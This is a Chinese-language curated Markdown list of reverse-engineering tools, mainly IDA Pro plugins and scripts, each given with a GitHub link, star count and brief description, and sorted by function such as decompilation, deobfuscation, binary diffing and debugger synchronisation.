- [DBI](#7ab3a7005d6aa699562b3a0a0c6f2cff)
- [DynamoRIO](#c8cdb0e30f24e9b7394fcd5681f2e419)
- [工具](#6c4841dd91cb173093ea2c8d0b557e71)
- [(8) 新添加的](#ff0abe26a37095f6575195950e0b7f94)
- [(2) DynamoRIO](#3a577a5b4730a1b5b3b325269509bb0a)
- [(3) 与其他工具交互](#928642a55eff34b6b52622c6862addd2)
- [(15) 文章&&视频](#9479ce9f475e4b9faa4497924a2e40fc)
- [IntelPin](#7b8a493ca344f41887792fcc008573e7)
- [工具](#fe5a6d7f16890542c9e60857706edfde)
- [(18) 新添加的](#78a2edf9aa41eb321436cb150ea70a54)
- [与其他工具交互](#e6a829abd8bbc5ad2e5885396e3eec04)
- [(8) 未分类](#e129288dfadc2ab0890667109f93a76d)
- [文章&&视频](#226190bea6ceb98ee5e2b939a6515fac)
- [Frida](#f24f1235fd45a1aa8d280eff1f03af7e)
- [工具](#a5336a0f9e8e55111bda45c8d74924c1)
- [(100) 新添加的](#54836a155de0c15b56f43634cd9cfecf)
- [与其他工具交互](#74fa0c52c6104fd5656c93c08fd1ba86)
- [(1) 未分类](#00a86c65a84e58397ee54e85ed57feaf)
- [(3) IDA](#d628ec92c9eea0c4b016831e1f6852b3)
- [(2) BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8)
- [(2) Radare2](#ac053c4da818ca587d57711d2ff66278)
- [(1) Frida](#6d3c24e43835420063f9ca50ba805f15)
- [(92) 文章&&视频](#a1a7e3dd7091b47384c75dba8f279caf)
- [QBDI](#b2fca17481b109a9b3b0bc290a1a1381)
- [(1) 工具](#e72b766bcd3b868c438a372bc365221e)
- [(6) 文章&&视频](#2cf79f93baf02a24d95d227a0a3049d8)
- [其他](#5a9974bfcf7cdf9b05fe7a7dc5272213)
- [(4) 工具](#104bc99e36692f133ba70475ebc8825f)
- [(1) 文章&&视频](#8f1b9c5c2737493524809684b934d49a)
- [其他](#d3690e0b19c784e104273fe4d64b2362)
- [ 文章-新添加的](#9162e3507d24e58e9e944dd3f6066c0e)
- [(284) 工具-新添加的](#1d9dec1320a5d774dc8e0e7604edfcd3)
- [(3) 工具-其他](#bc2b78af683e7ba983205592de8c3a7a)
- [angr](#4fe330ae3e5ce0b39735b1bfea4528af)
- [(27) 工具](#1ede5ade1e55074922eb4b6386f5ca65)
- [(4) 文章](#042ef9d415350eeb97ac2539c2fa530e)
- [Debug&&调试](#324874bb7c3ead94eae6f1fa1af4fb68)
- [(116) 工具](#d22bd989b2fdaeda14b64343b472dfb6)
- [文章](#136c41f2d05739a74c6ec7d8a84df1e8)
- [BAP](#9f8d3f2c9e46fbe6c25c22285c8226df)
- [(26) 工具](#f10e9553770db6f98e8619dcd74166ef)
- [文章](#e111826dde8fa44c575ce979fd54755d)
- [BinNavi](#2683839f170250822916534f1db22eeb)
- [(3) 工具](#2e4980c95871eae4ec0e76c42cc5c32f)
- [(5) 文章](#ff4dc5c746cb398d41fb69a4f8dfd497)
- [Decompiler&&反编译器](#0971f295b0f67dc31b7aa45caf3f588f)
- [(73) 工具](#e67c18b4b682ceb6716388522f9a1417)
- [文章](#a748b79105651a8fd8ae856a7dc2b1de)
- [Disassemble&&反汇编](#2df6d3d07e56381e1101097d013746a0)
- [(30) 工具](#59f472c7575951c57d298aef21e7d73c)
- [文章](#a6eb5a22deb33fc1919eaa073aa29ab5)
- [GDB](#975d9f08e2771fccc112d9670eae1ed1)
- [(80) 工具](#5f4381b0a90d88dd2296c2936f7e7f70)
- [(102) 文章](#37b17362d72f9c8793973bc4704893a2)
- [Monitor&&监控&&Trace&&追踪](#70e64e3147675c9bcd48d4f475396e7f)
- [(29) 工具](#cd76e644d8ddbd385939bb17fceab205)
- [TODO](#35f8efcff18d0449029e9d3157ac0899)
# <a id="35f8efcff18d0449029e9d3157ac0899"></a>TODO
- 对工具进行更细致的分类
- 为工具添加详细的中文描述，包括其内部实现原理和使用方式
- 添加非Github repo
- 补充文章
- 修改已添加文章的描述
# <a id="08e59e476824a221f6e4a69c0bba7d63"></a>IDA
***
## <a id="f11ab1ff46aa300cc3e86528b8a98ad7"></a>插件&&脚本
- 以Github开源工具为主
### <a id="c39dbae63d6a3302c4df8073b4d1cdc8"></a>新添加的
### <a id="c39a6d8598dde6abfeef43faf931beb5"></a>未分类
- [**1058**星][17d] [Py] [fireeye/flare-ida](https://github.com/fireeye/flare-ida) 多工具
- [StackStrings](https://github.com/fireeye/flare-ida/blob/master/plugins/stackstrings_plugin.py) 自动恢复手动构造的字符串
- [Struct Typer](https://github.com/fireeye/flare-ida/blob/master/plugins/struct_typer_plugin.py) implements the struct typing described [here](https://www.mandiant.com/blog/applying-function-types-structure-fields-ida/)
- [ApplyCalleeType](https://github.com/fireeye/flare-ida/blob/master/python/flare/apply_callee_type.py) specify or choose a function type for indirect calls as described [here](https://www.fireeye.com/blog/threat-research/2015/04/flare_ida_pro_script.html)
- [argtracker](https://github.com/fireeye/flare-ida/blob/master/python/flare/argtracker.py) 识别函数使用的静态参数
- [idb2pat](https://github.com/fireeye/flare-ida/blob/master/python/flare/idb2pat.py) FLIRT签名生成
- [objc2_analyzer](https://github.com/fireeye/flare-ida/blob/master/python/flare/objc2_analyzer.py) 在目标Mach-O可执行文件的与Objective-C运行时相关的部分中定义的选择器引用及其实现之间创建交叉引用
- [MSDN Annotations](https://github.com/fireeye/flare-ida/tree/master/python/flare/IDB_MSDN_Annotator) 从XML文件中提取MSDN信息，添加到IDB数据库中
- [ironstrings](https://github.com/fireeye/flare-ida/tree/master/python/flare/ironstrings) 使用代码模拟执行（flare-emu）, 恢复构造的字符串
- [Shellcode Hashes](https://github.com/fireeye/flare-ida/tree/master/shellcode_hashes) 生成Hash数据库
- [**737**星][7m] [Py] [devttys0/ida](https://github.com/devttys0/ida) IDA插件/脚本/模块收集
- [wpsearch](https://github.com/devttys0/ida/blob/master/scripts/wpsearch.py) 查找在MIPS WPS checksum实现中常见的立即数
- [md5hash](https://github.com/devttys0/ida/tree/master/modules/md5hash) 纯Python版的MD5 hash实现（IDA的hashlib有问题）
- [alleycat](https://github.com/devttys0/ida/tree/master/plugins/alleycat) 查找向指定的函数内代码块的路径、查找两个或多个函数之间的路径、生成交互式调用图、可编程
- [codatify](https://github.com/devttys0/ida/tree/master/plugins/codatify) 定义IDA自动化分析时miss的ASCII字符串、函数、代码。将data段的所有未定义字节转换为DWORD（于是IDA可识别函数和跳转表指针）
- [fluorescence](https://github.com/devttys0/ida/tree/master/plugins/fluorescence) 高亮函数调用指令
- [leafblower](https://github.com/devttys0/ida/tree/master/plugins/leafblower) 识别常用的POSIX函数：printf, sprintf, memcmp, strcpy等
- [localxrefs](https://github.com/devttys0/ida/tree/master/plugins/localxrefs) 在当前函数内部查找所有对任意选择文本的引用
- [mipslocalvars](https://github.com/devttys0/ida/tree/master/plugins/mipslocalvars) 对栈上只用于存储寄存器的变量进行命名，简化栈数据分析（MISP）
- [mipsrop](https://github.com/devttys0/ida/tree/master/plugins/mipsrop) 在MIPS可执行代码中搜寻ROP。查找常见的ROP
- [rizzo](https://github.com/devttys0/ida/tree/master/plugins/rizzo) 对2个或多个IDB之间的函数进行识别和重命名，基于：函数签名、对唯一字符串/常量的引用、模糊签名、调用图
- [**318**星][2m] [C] [ohjeongwook/darungrim](https://github.com/ohjeongwook/darungrim) 软件补丁分析工具
- [IDA插件](https://github.com/ohjeongwook/darungrim/tree/master/Src/IDAPlugin)
- [DGEngine](https://github.com/ohjeongwook/darungrim/tree/master/Src/DGEngine)
- [**277**星][4m] [Py] [jpcertcc/aa-tools](https://github.com/jpcertcc/aa-tools) 多脚本
- [apt17scan.py](https://github.com/jpcertcc/aa-tools/blob/master/apt17scan.py) Volatility插件, 检测APT17相关的恶意代码并提取配置
- [emdivi_postdata_decoder](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_postdata_decoder.py) 解码Emdivi post的数据
- [emdivi_string_decryptor](https://github.com/jpcertcc/aa-tools/blob/master/emdivi_string_decryptor.py) IDAPython脚本, 解密Emdivi内的字符串
- [citadel_decryptor](https://github.com/jpcertcc/aa-tools/tree/master/citadel_decryptor) Data decryption tool for Citadel
- [adwind_string_decoder](https://github.com/jpcertcc/aa-tools/blob/master/adwind_string_decoder.py) Python script for decoding strings inside Adwind
- [redleavesscan](https://github.com/jpcertcc/aa-tools/blob/master/redleavesscan.py) Volatility plugin for detecting RedLeaves and extracting its config
- [datper_splunk](https://github.com/jpcertcc/aa-tools/blob/master/datper_splunk.py) Python script for detects Datper communication and adds result field to Splunk index
- [datper_elk](https://github.com/jpcertcc/aa-tools/blob/master/datper_elk.py) Python script for detects Datper communication and adds result field to Elasticsearch index
- [tscookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_decode.py) Python script for decrypting and parsing TSCookie configure data
- [wellmess_cookie_decode](https://github.com/jpcertcc/aa-tools/blob/master/wellmess_cookie_decode.py) Python script for decoding WellMess's cookie data (support Python2)
- [cobaltstrikescan](https://github.com/jpcertcc/aa-tools/blob/master/cobaltstrikescan.py) Volatility plugin for detecting Cobalt Strike Beacon and extracting its config
- [tscookie_data_decode](https://github.com/jpcertcc/aa-tools/blob/master/tscookie_data_decode.py) Python script for decrypting and parsing TSCookie configure data
### <a id="fb4f0c061a72fc38656691746e7c45ce"></a>结构体&&类的检测&&创建&&恢复
#### <a id="fa5ede9a4f58d4efd98585d3158be4fb"></a>未分类
- [**931**星][25d] [OCaml] [airbus-seclab/bincat](https://github.com/airbus-seclab/bincat) 二进制代码静态分析工具。值分析（寄存器、内存）、污点分析、类型重建和传播（propagation）、前向/后向分析
- 重复区段: [IDA->插件->污点分析](#34ac84853604a7741c61670f2a075d20) |
- [**664**星][27d] [Py] [igogo-x86/hexrayspytools](https://github.com/igogo-x86/hexrayspytools) 结构体和类重建插件
#### <a id="4900b1626f10791748b20630af6d6123"></a>C++类&&虚表
- [**607**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息，自动创建C++的虚表
- 重复区段: [IDA->插件->调试->调试数据](#b31acf6c84a9506066d497af4e702bf5) |
<details>
<summary>查看详情</summary>
## 静态部分:
- 检测非直接调用
- 利用条件断点, Hook非直接调用的值赋值过程
## 动态 部分
- 创建虚表结构
- 重命名函数和虚表地址
- 给反汇编非直接调用添加结构偏移
- 给非直接调用到虚表之间添加交叉引用
## 使用
- File -> Script File -> Main.py(设置断点) -> IDA调试器执行
</details>
### <a id="a7dac37cd93b8bb42c7d6aedccb751b3"></a>收集
- [**1771**星][10d] [onethawt/idaplugins-list](https://github.com/onethawt/idaplugins-list) IDA插件收集
- [**363**星][9m] [fr0gger/awesome-ida-x64-olly-plugin](https://github.com/fr0gger/awesome-ida-x64-olly-plugin) IDA x64DBG OllyDBG 插件收集
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
### <a id="fabf03b862a776bbd8bcc4574943a65a"></a>外观&&主题
- [**723**星][7m] [Py] [zyantific/idaskins](https://github.com/zyantific/idaskins) 皮肤插件
### <a id="a8f5db3ab4bc7bc3d6ca772b3b9b0b1e"></a>固件&&嵌入式设备
- [**5228**星][2m] [Py] [refirmlabs/binwalk](https://github.com/ReFirmLabs/binwalk) 固件分析工具（命令行+IDA插件）
- [IDA插件](https://github.com/ReFirmLabs/binwalk/tree/master/src/scripts)
- [binwalk](https://github.com/ReFirmLabs/binwalk/tree/master/src/binwalk)
- [**492**星][5m] [Py] [maddiestone/idapythonembeddedtoolkit](https://github.com/maddiestone/idapythonembeddedtoolkit) 自动分析嵌入式设备的固件
### <a id="02088f4884be6c9effb0f1e9a3795e58"></a>签名(FLIRT等)&&比较(Diff)&&匹配
#### <a id="cf04b98ea9da0056c055e2050da980c1"></a>未分类
- [**421**星][1m] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件)
- 重复区段: [IDA->插件->作为辅助](#83de90385d03ac8ef27360bfcdc1ab48) |
- [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin)
- [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0)
#### <a id="19360afa4287236abe47166154bc1ece"></a>FLIRT签名
##### <a id="1c9d8dfef3c651480661f98418c49197"></a>FLIRT签名收集
- [**605**星][2m] [Max] [maktm/flirtdb](https://github.com/Maktm/FLIRTDB) A community driven collection of IDA FLIRT signature files
- [**321**星][5m] [push0ebp/sig-database](https://github.com/push0ebp/sig-database) IDA FLIRT Signature Database
##### <a id="a9a63d23d32c6c789ca4d2e146c9b6d0"></a>FLIRT签名生成
#### <a id="161e5a3437461dc8959cc923e6a18ef7"></a>Diff&&Match工具
- [**1554**星][13d] [Py] [joxeankoret/diaphora](https://github.com/joxeankoret/diaphora) program diffing
- [**360**星][1m] [Py] [checkpointsw/karta](https://github.com/checkpointsw/karta) source code assisted fast binary matching plugin for IDA
- [**332**星][1y] [Py] [joxeankoret/pigaios](https://github.com/joxeankoret/pigaios) A tool for matching and diffing source codes directly against binaries.
#### <a id="46c9dfc585ae59fe5e6f7ddf542fb31a"></a>Yara
- [**449**星][2m] [Py] [polymorf/findcrypt-yara](https://github.com/polymorf/findcrypt-yara) 使用Yara规则查找加密常量
- 重复区段: [IDA->插件->加密解密](#06d2caabef97cf663bd29af2b1fe270c) |
### <a id="5e91b280aab7f242cbc37d64ddbff82f"></a>IDB操作
- [**316**星][6m] [Py] [williballenthin/python-idb](https://github.com/williballenthin/python-idb) idb 文件解析和分析工具
### <a id="206ca17fc949b8e0ae62731d9bb244cb"></a>协作逆向&&多人操作相同IDB文件
- [**508**星][11m] [Py] [idarlingteam/idarling](https://github.com/IDArlingTeam/IDArling) 多人协作插件
- [**258**星][1y] [C++] [dga-mi-ssi/yaco](https://github.com/dga-mi-ssi/yaco) 利用Git版本控制，同步多人对相同二进制文件的修改
### <a id="f7d311685152ac005cfce5753c006e4b"></a>与调试器同步&&通信&&交互
- [**471**星][13d] [C] [bootleg/ret-sync](https://github.com/bootleg/ret-sync) 在反汇编工具和调试器之间同步调试会话
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
- [GDB插件](https://github.com/bootleg/ret-sync/tree/master/ext_gdb)
- [Ghidra插件](https://github.com/bootleg/ret-sync/tree/master/ext_ghidra)
- [IDA插件](https://github.com/bootleg/ret-sync/tree/master/ext_ida)
- [LLDB](https://github.com/bootleg/ret-sync/tree/master/ext_lldb)
- [OD](https://github.com/bootleg/ret-sync/tree/master/ext_olly1)
- [OD2](https://github.com/bootleg/ret-sync/tree/master/ext_olly2)
- [WinDgb](https://github.com/bootleg/ret-sync/tree/master/ext_windbg/sync)
- [x64dbg](https://github.com/bootleg/ret-sync/tree/master/ext_x64dbg)
- [**292**星][11m] [C] [a1ext/labeless](https://github.com/a1ext/labeless) 在IDA和调试器之间无缝同步Label/注释等
- [IDA插件](https://github.com/a1ext/labeless/tree/master/labeless_ida)
- [OD](https://github.com/a1ext/labeless/tree/master/labeless_olly)
- [OD2](https://github.com/a1ext/labeless/tree/master/labeless_olly2)
- [x64dbg](https://github.com/a1ext/labeless/tree/master/labeless_x64dbg)
### <a id="6fb7e41786c49cc3811305c520dfe9a1"></a>导入导出&与其他工具交互
#### <a id="8ad723b704b044e664970b11ce103c09"></a>未分类
#### <a id="c7066b0c388cd447e980bf0eb38f39ab"></a>Ghidra
- [**299**星][4m] [Py] [cisco-talos/ghida](https://github.com/cisco-talos/ghida) 在IDA中集成Ghidra反编译器
- 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) |
- [**238**星][9m] [Py] [daenerys-sre/source](https://github.com/daenerys-sre/source) 使IDA和Ghidra脚本通用, 无需修改
- 重复区段: [Ghidra->插件->与其他工具交互->IDA](#d832a81018c188bf585fcefa3ae23062) |
#### <a id="11139e7d6db4c1cef22718868f29fe12"></a>BinNavi
- [**382**星][26d] [C++] [google/binexport](https://github.com/google/binexport) 将反汇编以Protocol Buffer的形式导出为PostgreSQL数据库, 导入到BinNavi中使用
- 重复区段: [其他->BinNavi->工具](#2e4980c95871eae4ec0e76c42cc5c32f) |
#### <a id="d1ff64bee76f6749aef6100d72bfbe3a"></a>BinaryNinja
#### <a id="21ed198ae5a974877d7a635a4b039ae3"></a>Radare2
#### <a id="a1cf7f7f849b4ca2101bd31449c2a0fd"></a>Frida
#### <a id="dd0332da5a1482df414658250e6357f8"></a>IntelPin
### <a id="004c199e1dbf71769fbafcd8e58d1ead"></a>针对特定分析目标
#### <a id="5578c56ca09a5804433524047840980e"></a>未分类
#### <a id="cb59d84840e41330a7b5e275c0b81725"></a>Loader&Processor
- [**205**星][1y] [Py] [fireeye/idawasm](https://github.com/fireeye/idawasm) WebAssembly的加载器和解析器
#### <a id="1b17ac638aaa09852966306760fda46b"></a>GoLang
- [**376**星][9m] [Py] [sibears/idagolanghelper](https://github.com/sibears/idagolanghelper) 解析Go语言编译的二进制文件中的GoLang类型信息
- [**297**星][2m] [Py] [strazzere/golang_loader_assist](https://github.com/strazzere/golang_loader_assist) 辅助Go逆向
#### <a id="4c158ccc5aee04383755851844fdd137"></a>Windows驱动
- [**306**星][1y] [Py] [fsecurelabs/win_driver_plugin](https://github.com/FSecureLABS/win_driver_plugin) A tool to help when dealing with Windows IOCTL codes or reversing Windows drivers.
- [**218**星][1y] [Py] [nccgroup/driverbuddy](https://github.com/nccgroup/driverbuddy) 辅助逆向Windows内核驱动
#### <a id="315b1b8b41c67ae91b841fce1d4190b5"></a>PS3&&PS4
#### <a id="f5e51763bb09d8fd47ee575a98bedca1"></a>PDB
#### <a id="7d0681efba2cf3adaba2780330cd923a"></a>Flash&&SWF
#### <a id="841d605300beba45c3be131988514a03"></a>特定样本家族
#### <a id="ad44205b2d943cfa2fa805b2643f4595"></a>CTF
### <a id="ad68872e14f70db53e8d9519213ec039"></a>IDAPython本身
#### <a id="2299bc16945c25652e5ad4d48eae8eca"></a>未分类
- [**720**星][15d] [Py] [idapython/src](https://github.com/idapython/src) IDAPython源码
- [**373**星][3m] [Py] [tmr232/sark](https://github.com/tmr232/sark) IDAPython的高级抽象
#### <a id="c42137cf98d6042372b1fd43c3635135"></a>清单
- [**258**星][28d] [Py] [inforion/idapython-cheatsheet](https://github.com/inforion/idapython-cheatsheet) Scripts and cheatsheets for IDAPython
### <a id="846eebe73bef533041d74fc711cafb43"></a>指令参考&文档
- [**497**星][1y] [PLpgSQL] [nologic/idaref](https://github.com/nologic/idaref) 指令参考插件.
- [**449**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
### <a id="c08ebe5b7eec9fc96f8eff36d1d5cc7d"></a>辅助脚本编写
#### <a id="45fd7cfce682c7c25b4f3fbc4c461ba2"></a>未分类
- [**282**星][2m] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写
- 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) |
#### <a id="1a56a5b726aaa55ec5b7a5087d6c8968"></a>Qt
#### <a id="1721c09501e4defed9eaa78b8d708361"></a>控制台&&窗口界面
- [**269**星][1m] [Py] [eset/ipyida](https://github.com/eset/ipyida) 集成IPython控制台
#### <a id="227fbff77e3a13569ef7b007344d5d2e"></a>插件模板
#### <a id="8b19bb8cf9a5bc9e6ab045f3b4fabf6a"></a>其他语言
### <a id="dc35a2b02780cdaa8effcae2b6ce623e"></a>古老的
### <a id="e3e7030efc3b4de3b5b8750b7d93e6dd"></a>调试&&动态运行&动态数据
#### <a id="2944dda5289f494e5e636089db0d6a6a"></a>未分类
- [**395**星][1y] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件
- 重复区段: [IDA->插件->模拟器集成](#b38dab81610be087bd5bc7785269b8cc) |
#### <a id="0fbd352f703b507853c610a664f024d1"></a>DBI数据
- [**943**星][1y] [Py] [gaasedelen/lighthouse](https://github.com/gaasedelen/lighthouse) 从DBI中收集代码覆盖情况，在IDA/Binja中映射、浏览、查看
- 重复区段: [DBI->IntelPin->工具->与其他工具交互->未分类](#e129288dfadc2ab0890667109f93a76d) |[DBI->Frida->工具->与其他工具交互->IDA](#d628ec92c9eea0c4b016831e1f6852b3) |[DBI->Frida->工具->与其他工具交互->BinaryNinja](#f9008a00e2bbc7535c88602aa79c8fd8) |
- [coverage-frida](https://github.com/gaasedelen/lighthouse/blob/master/coverage/frida/README.md) 使用Frida收集信息
- [coverage-pin](https://github.com/gaasedelen/lighthouse/blob/master/coverage/pin/README.md) 使用Pin收集覆盖信息
- [插件](https://github.com/gaasedelen/lighthouse/blob/master/plugin/lighthouse_plugin.py) 支持IDA和BinNinja
#### <a id="b31acf6c84a9506066d497af4e702bf5"></a>调试数据
- [**607**星][3m] [Py] [0xgalz/virtuailor](https://github.com/0xgalz/virtuailor) 利用IDA调试获取的信息，自动创建C++的虚表
- 重复区段: [IDA->插件->结构体->C++类](#4900b1626f10791748b20630af6d6123) |
<details>
<summary>查看详情</summary>
## 静态部分:
- 检测非直接调用
- 利用条件断点, Hook非直接调用的值赋值过程
## 动态 部分
- 创建虚表结构
- 重命名函数和虚表地址
- 给反汇编非直接调用添加结构偏移
- 给非直接调用到虚表之间添加交叉引用
## 使用
- File -> Script File -> Main.py(设置断点) -> IDA调试器执行
</details>
- [**386**星][5m] [Py] [ynvb/die](https://github.com/ynvb/die) 使用IDA调试器收集动态运行信息, 辅助静态分析
### <a id="d2166f4dac4eab7fadfe0fd06467fbc9"></a>反编译器&&AST
- [**1672**星][7m] [C++] [yegord/snowman](https://github.com/yegord/snowman) Snowman反编译器，支持x86, AMD64, ARM。有独立的GUI工具、命令行工具、IDA/Radare2/x64dbg插件，也可以作为库使用
- 重复区段: [x64dbg->插件->新添加的](#da5688c7823802e734c39b539aa39df7) |
- [IDA插件](https://github.com/yegord/snowman/tree/master/src/ida-plugin)
- [snowman](https://github.com/yegord/snowman/tree/master/src/snowman) QT界面
- [nocode](https://github.com/yegord/snowman/tree/master/src/nocode) 命令行工具
- [nc](https://github.com/yegord/snowman/tree/master/src/nc) 核心代码，可作为库使用
- [**418**星][3m] [C++] [avast/retdec-idaplugin](https://github.com/avast/retdec-idaplugin) retdec 的 IDA 插件
- [**235**星][7m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件
- 重复区段: [IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
### <a id="7199e8787c0de5b428f50263f965fda7"></a>反混淆
- [**1365**星][3m] [Py] [fireeye/flare-floss](https://github.com/fireeye/flare-floss) 自动从恶意代码中提取反混淆后的字符串
- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |
- [floss](https://github.com/fireeye/flare-floss/tree/master/floss)
- [IDA插件](https://github.com/fireeye/flare-floss/blob/master/scripts/idaplugin.py)
- [**304**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆
- 重复区段: [IDA->插件->Microcode](#7a2977533ccdac70ee6e58a7853b756b) |
### <a id="fcf75a0881617d1f684bc8b359c684d7"></a>效率&&导航&&快速访问&&图形&&图像&&可视化
#### <a id="c5b120e1779b928d860ad64ff8d23264"></a>其他
- [**449**星][4m] [C++] [alexhude/friend](https://github.com/alexhude/friend) 反汇编显示增强, 文档增强插件
- 重复区段: [IDA->插件->指令参考](#846eebe73bef533041d74fc711cafb43) |
- [**372**星][3m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->漏洞->未分类](#385d6777d0747e79cccab0a19fa90e7e) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
- [**329**星][4m] [Py] [pfalcon/scratchabit](https://github.com/pfalcon/scratchabit) 交互式反汇编工具, 有与IDAPython兼容的插件API
- [**235**星][7m] [Py] [patois/dsync](https://github.com/patois/dsync) 反汇编和反编译窗口同步插件
- 重复区段: [IDA->插件->反编译器](#d2166f4dac4eab7fadfe0fd06467fbc9) |
#### <a id="03fac5b3abdbd56974894a261ce4e25f"></a>显示增强
- [**208**星][1m] [Py] [patois/idacyber](https://github.com/patois/idacyber) 交互式数据可视化插件
#### <a id="3b1dba00630ce81cba525eea8fcdae08"></a>图形&&图像
- [**2569**星][6m] [Java] [google/binnavi](https://github.com/google/binnavi) 二进制分析IDE, 对反汇编代码的控制流程图和调用图进行探查/导航/编辑/注释.(IDA插件的作用是导出反汇编)
#### <a id="8f9468e9ab26128567f4be87ead108d7"></a>搜索
### <a id="66052f824f5054aa0f70785a2389a478"></a>Android
- [**246**星][28d] [C++] [strazzere/android-scripts](https://github.com/strazzere/android-scripts) Android逆向脚本收集
- 重复区段: [Android->工具->ReverseEngineering](#6d2b758b3269bac7d69a2d2c8b45194c) |
### <a id="2adc0044b2703fb010b3bf73b1f1ea4a"></a>Apple&&macOS&&iXxx&&Objective-C&&SWift&&Mach-O
#### <a id="8530752bacfb388f3726555dc121cb1a"></a>未分类
#### <a id="82d0fa2d6934ce29794a651513934384"></a>内核缓存
#### <a id="d249a8d09a3f25d75bb7ba8b32bd9ec5"></a>Mach-O
#### <a id="1c698e298f6112a86c12881fbd8173c7"></a>Swift
### <a id="e5e403123c70ddae7bd904d3a3005dbb"></a>ELF
### <a id="7a2977533ccdac70ee6e58a7853b756b"></a>Microcode
- [**304**星][4m] [C++] [rolfrolles/hexraysdeob](https://github.com/rolfrolles/hexraysdeob) 利用Hex-Rays microcode API破解编译器级别的混淆
- 重复区段: [IDA->插件->反混淆](#7199e8787c0de5b428f50263f965fda7) |
### <a id="b38dab81610be087bd5bc7785269b8cc"></a>模拟器集成
- [**504**星][20d] [Py] [alexhude/uemu](https://github.com/alexhude/uemu) 基于Unicorn的模拟器插件
- [**395**星][1y] [C++] [cseagle/sk3wldbg](https://github.com/cseagle/sk3wldbg) 用Unicorn引擎做后端的调试插件
- 重复区段: [IDA->插件->调试->未分类](#2944dda5289f494e5e636089db0d6a6a) |
- [**282**星][2m] [Py] [fireeye/flare-emu](https://github.com/fireeye/flare-emu) 结合Unicorn引擎, 简化模拟脚本的编写
- 重复区段: [IDA->插件->辅助脚本编写->未分类](#45fd7cfce682c7c25b4f3fbc4c461ba2) |
### <a id="83de90385d03ac8ef27360bfcdc1ab48"></a>作为辅助&&构成其他的一环
- [**1542**星][28d] [Py] [lifting-bits/mcsema](https://github.com/lifting-bits/mcsema) 将x86, amd64, aarch64二进制文件转换成LLVM字节码
- [IDA7插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida7) 用于反汇编二进制文件并生成控制流程图
- [IDA插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/ida) 用于反汇编二进制文件并生成控制流程图
- [Binja插件](https://github.com/lifting-bits/mcsema/tree/master/tools/mcsema_disass/binja) 用于反汇编二进制文件并生成控制流程图
- [mcsema](https://github.com/lifting-bits/mcsema/tree/master/mcsema)
- [**421**星][1m] [C] [mcgill-dmas/kam1n0-community](https://github.com/McGill-DMaS/Kam1n0-Community) 汇编代码管理与分析平台(独立工具+IDA插件)
- 重复区段: [IDA->插件->签名(FLIRT等)->未分类](#cf04b98ea9da0056c055e2050da980c1) |
- [IDA插件](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0-clients/ida-plugin)
- [kam1n0](https://github.com/McGill-DMaS/Kam1n0-Community/tree/master2.x/kam1n0)
### <a id="1ded622dca60b67288a591351de16f8b"></a>漏洞
#### <a id="385d6777d0747e79cccab0a19fa90e7e"></a>未分类
- [**492**星][7m] [Py] [danigargu/heap-viewer](https://github.com/danigargu/heap-viewer) 查看glibc堆, 主要用于漏洞开发
- [**372**星][3m] [Py] [l4ys/lazyida](https://github.com/l4ys/lazyida) 若干快速访问功能, 扫描字符串格式化漏洞
- 重复区段: [IDA->插件->字符串](#9dcc6c7dd980bec1f92d0cc9a2209a24) |[IDA->插件->效率->其他](#c5b120e1779b928d860ad64ff8d23264) |
<details>
<summary>查看详情</summary>
### 功能
- 快速移除函数返回类型
- 数据格式(format)快速转换
- 扫描字符串格式化漏洞
- 双击跳转vtable函数
- 快捷键: w/c/v
</details>
#### <a id="cf2efa7e3edb24975b92d2e26ca825d2"></a>ROP
### <a id="7d557bc3d677d206ef6c5a35ca8b3a14"></a>补丁&&Patch
- [**727**星][1y] [Py] [keystone-engine/keypatch](https://github.com/keystone-engine/keypatch) 汇编/补丁插件, 支持多架构, 基于Keystone引擎
### <a id="7dfd8abad50c14cd6bdc8d8b79b6f595"></a>其他
### <a id="90bf5d31a3897400ac07e15545d4be02"></a>函数相关
#### <a id="347a2158bdd92b00cd3d4ba9a0be00ae"></a>未分类
#### <a id="73813456eeb8212fd45e0ea347bec349"></a>重命名&&前缀&&标记
- [**291**星][3m] [Py] [a1ext/auto_re](https://github.com/a1ext/auto_re) 自动化函数重命名
#### <a id="e4616c414c24b58626f834e1be079ebc"></a>导航&&查看&&查找
#### <a id="cadae88b91a57345d266c68383eb05c5"></a>demangle
### <a id="34ac84853604a7741c61670f2a075d20"></a>污点分析&&符号执行
